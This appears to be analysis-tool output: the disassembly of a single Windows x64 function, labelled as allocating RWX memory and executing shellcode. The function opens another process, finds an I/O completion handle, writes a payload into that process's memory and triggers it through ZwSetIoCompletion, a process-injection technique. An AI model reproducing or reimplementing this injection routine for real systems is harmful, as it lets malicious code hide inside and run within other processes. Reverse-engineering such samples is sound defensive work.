Function at 0x1800017f0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rsi
push r12
push r13
sub rsp, 0xe0
mov rax, qword [0x1800150b8]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov r13d, edx
xor edx, edx
mov qword [rsp + 0x40], rcx
mov ecx, 0x478
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor esi, esi
mov r12, rax
test rax, rax
jne 0x18000183a
mov qword [0x1800150e8], rsi
jmp 0x180001adc
mov qword [rsp + 0x118], rbx
mov eax, esi
mov qword [rsp + 0xd8], rbp
mov rbp, rsi
mov qword [rsp + 0xc8], r14
mov dword [rsp + 0x48], eax
mov qword [0x1800150e8], r12
mov edx, eax
mov rcx, rbp
call sub.msvcrt.dll_realloc
mov r9d, dword [rsp + 0x48]
mov rbp, rax
lea rax, [rsp + 0x48]
mov r8, rbp
mov edx, 0x33
mov qword [rsp + 0x20], rax
mov rcx, r12
call sub.ntdll.dll_NtQueryInformationProcess
cmp eax, 0xc0000004
jne 0x18000189b
mov eax, dword [rsp + 0x48]
jmp 0x180001862
mov r14d, esi
mov qword [rsp + 0xd0], rdi
mov qword [rsp + 0xc0], r15
cmp qword [rbp], rsi
jbe 0x180001986
lea r15, [rbp + 0x10]
nop dword [rax]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdx, qword [r15]
lea r9, [rsp + 0x50]
mov dword [rsp + 0x30], esi
mov r8, rax
mov dword [rsp + 0x28], esi
mov rcx, r12
mov dword [rsp + 0x20], 0x1f0003
call qword [0x18000d9c8]
mov rdi, qword [rsp + 0x50]
mov eax, esi
mov dword [rsp + 0x4c], eax
mov rbx, rsi
nop dword [rax + rax]
mov edx, eax
mov rcx, rbx
call sub.msvcrt.dll_realloc
mov r9d, dword [rsp + 0x4c]
mov rbx, rax
lea rax, [rsp + 0x4c]
mov r8, rbx
mov edx, 2
mov qword [rsp + 0x20], rax
mov rcx, rdi
call qword [sym.imp.ntdll.dll_NtQueryObject]
cmp eax, 0xc0000004
jne 0x18000193a
mov eax, dword [rsp + 0x4c]
jmp 0x180001900
mov rdx, qword [rbx + 8]
lea r8, str.IoCompletion
mov rax, 0xffffffffffffffff
nop dword [rax]
movzx ecx, word [r8 + rax*2 + 2]
cmp cx, word [rdx + rax*2 + 2]
jne 0x180001972
add rax, 2
cmp rax, 0xd
je 0x1800019d9
movzx ecx, word [r8 + rax*2]
cmp cx, word [rdx + rax*2]
je 0x180001950
inc r14d
add r15, 0x28
movsxd rax, r14d
cmp rax, qword [rbp]
jb 0x1800018c0
mov rax, rsi
mov rcx, qword [0x1800150e8]
mov r9d, 0x3000
mov r8, r13
mov qword [0x1800150f8], rax
xor edx, edx
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r15, qword [rsp + 0xc0]
mov r14, qword [rsp + 0xc8]
mov rbp, qword [rsp + 0xd8]
test rax, rax
jne 0x1800019e0
mov qword [0x1800150f0], rsi
jmp 0x180001acc
mov rax, qword [rsp + 0x50]
jmp 0x180001989
mov r8, qword [rsp + 0x40]
mov r9, r13
mov rcx, qword [0x1800150e8]
mov rdx, rax
mov qword [0x1800150f0], rax
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180001acc
lea rcx, [0x18000db28]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.ZwSetIoCompletion
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x1800150f0]
xor edx, edx
mov rdi, rax
mov qword [rsp + 0x98], rcx
mov rcx, qword [0x1800150e8]
xor eax, eax
mov r9d, 0x3000
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rax
lea r8d, [rax + 0x48]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], rax
mov qword [rsp + 0xa0], rax
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rcx, qword [0x1800150e8]
lea r8, [rsp + 0x60]
mov rdx, rax
mov qword [rsp + 0x20], rsi
mov r9d, 0x48
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [0x1800150f8]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rsi
mov rdx, rbx
call rdi
mov rdi, qword [rsp + 0xd0]
mov rbx, qword [rsp + 0x118]
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.180005b10
add rsp, 0xe0
pop r13
pop r12
pop rsi
ret